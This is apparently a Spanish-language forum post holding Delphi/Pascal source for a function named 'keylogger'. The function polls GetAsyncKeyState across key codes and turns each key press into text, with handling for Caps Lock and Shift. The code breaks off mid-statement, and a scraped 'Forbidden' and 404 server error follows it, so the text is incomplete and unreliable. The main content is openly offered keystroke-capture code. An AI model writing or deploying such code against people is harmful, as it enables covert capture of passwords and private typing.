Código: Seleccionar todo
Function keylogger(Terminar : boolean): string;
var
letra:string;
i:integer;
begin
for i:=8 To 255 do
begin
if GetAsyncKeyState(i)=-32767 then
case i of
VK_RETURN:letra:= '[Enter]';
8:letra:= '[Undo]';
9:letra:= '[Tab]';
20:letra:= '[Espacio]';
27:letra:= '[Esc]';
32:letra:= '[Espacio]';
33:letra:= '[RePag]';
34:letra:= '[AvPag]';
35:letra:= '[Fin]';
36:letra:= '[Inicio]';
44:letra:= '[ImpPant]';
45:letra:= '[Insert]';
46:letra:= '[Supr]';
48:letra:= '0';
49:letra:= '1';
50:letra:= '2';
51:letra:= '3';
52:letra:= '4';
53:letra:= '5';
54:letra:= '6';
55:letra:= '7';
56:letra:= '8';
57:letra:= '9';
190: letra:= '.';
65..90: // a-z,A-Z
if Odd(GetKeyState(VK_CAPITAL)) then
if GetKeyState(VK_SHIFT)<0 then
letra:= LowerCase(Chr(i))
else
letra:= UpperCase(Chr(i))
else
if GetKeyState(VK_SHIFT)<0 then
letra:= UpperCase(Chr(i))
else
Forbidden
You don't have permission to access /foro/posting.php on this server.
Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.